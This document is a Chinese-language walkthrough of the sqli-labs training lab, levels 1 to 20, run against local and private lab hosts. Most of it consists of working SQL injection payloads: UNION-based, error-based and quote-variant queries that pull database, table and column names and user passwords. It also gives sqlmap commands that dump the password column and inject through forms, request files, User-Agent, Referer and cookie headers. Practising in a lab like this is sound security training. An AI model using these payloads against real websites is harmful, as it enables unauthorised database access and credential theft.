1. less1
首先输入?id=1 查找是否有注入点.
输入单引号 回显报错 说明有注入漏洞 而且是数字型
输入 1’ or 1=1 order by 1 猜测列名#
这里发现#不能变成url编码 查一下 应该是%23
http://localhost/sqli-labs-master/Less-1/?id=1%27%20or%201=1%20order%20by%201%20#
在order by 4 的时候报错，说明select语句应该有三列.
然后获取当前数据库:
1’ or 1=1 union select 1,2,database() %23
但是后来知道 这里无论怎样返回的都是第一列的结果，所以把id=1改成id=0再注入
所以可以知道当前数据库的名称是 security
然后获取当前数据库中的表:
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database(),3 %27
可以看到 表名有 emails，refers，uagents，users 接下来就是获取users中的字段
0' union select 1,2,group_concat(column_name)from information_schema.columns where table_name ='users' %23
表中的字段有 id，username，password
之后获取我们感兴趣的字段的内容:
第一道题目完成.
2. less2
这道题是数字型注入：
所以和第一道题类似，不需要加单引号就可以。
获取当前数据库0 union select 1,2,database() %23
然后获取表:
0 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() %23
然后获取字段:
0 union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'users' %23
然后获取内容:
0 union select 1,2,group_concat(password) from users %23
第二道题完成。
3. less3
看回显报错 代码中 id 应该是 id =(‘$id’)
0') union select 1,2,3 %23实验一下是不是这么构造:
成功 所以接下来像前三关一样获取当前数据库,表，字段，内容就可以了.
第三题完成
4. less4
发现输入单引号 没有报错 输入双引号:
所以和上一个很像，应该用”)拼凑就可以了。
试一下 还是 union select 1,2,3 %23
成功了。
之后还是老方法，获取数据库，表，字段，内容
第四道题目完成.
5. less5
本关用前面的方法都无法注入回显，因为代码中不显示内容。所以需要利用基于错误的语句来注入。
http://localhost/sqli/Less-5/?id=1'and(select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password)fromuserslimit0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
这里需要不停的刷新 直到显示出来为止。
6. less6
和第五道题类似，但是需要把单引号改成双引号:
http://localhost/sqli/Less-6/?id=1" and (select 1 from(select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b) --+
7. less7
首先构造能够注入的语句, 发现是 id=1’))类型。
这里题目应该是导出文件:
但是上网搜了之后 用输出文件的语句 发现不行 只好用sqlmap了。。。
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1
之后获取当前数据库名称:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 --current-db
之后获取表:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security --tables
然后获取users中的字段:
-u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users --columns
最后获取password内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-7/?id=1 -D security -T users -C password --dump
第7关完成
8. less8
在这一题，数据库的错误不再回显到页面上，但是我们可以发现当我们构造异常查询时，页面上的you are in会消失，这就是典型的布尔盲注
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1
可以看到 要比上一道题复杂的很多 也耗费时间了:
之后获取当前的dbs
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 --current-db
然后获取其中的表:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security --tables
然后获取users中的字段:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users --columns
然后获取password中的内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-8/?id=1 -D security -T users -C password --dump
第八关完成.
9,10关和第八关类似 都有时间注入 所以用sqlmap跑就可以 ，或者自写python脚本.
11. less11
本关开始有post注入了
需要用到sqlmap中的一个 --form 的语句：
可以获取页面 然后构造需要post的数据:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms --dbs
然后获取当前数据库:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms ---current-db
然后获取表名:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security --tables
然后获取users的字段:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security -T users --columns
最后获取password的内容:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-11/ --forms -D security -T users -C password --dump
12,13,14:less12 less13 less14
这关和上关类似 直接sqlmap一路到底就可以。
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-12/ --forms -D security -T users -C password --dump
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-13/ --forms -D security -T users -C password --dump
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-14/ --forms -D security -T users -C password --dump
15:less15
这关 需要设置更高的 level:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-15/ --forms -D security -T users -C password --dump --level3
更加复杂:
16. less16
第十六关 和第十五关类似:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-16/ --forms -D security -T users -C password --dump --level3
17. less17
第17关尝试 用burp抓包，然后获取整个页面的信息后保存在/root/home/1.txt文件中
然后
sqlmap -r "1.txt" -p passwd --tech E --dbms mysql --batch -v 0
18. Less18
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-18/ --user-agent="Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0*" --level 4 --dbs --threads 10 --technique BEST –batch
19. less19
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-19/ --referer=" http://127.0.0.1/sqli-labs-master/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch
20.
cookie注入:
sqlmap -u http://192.168.48.129/sqli-labs-master/Less-20/ --cookie="UM_distinctid=16668b878941c2-088ac16771352f-38694646-12c000-16668b878961048" --dbs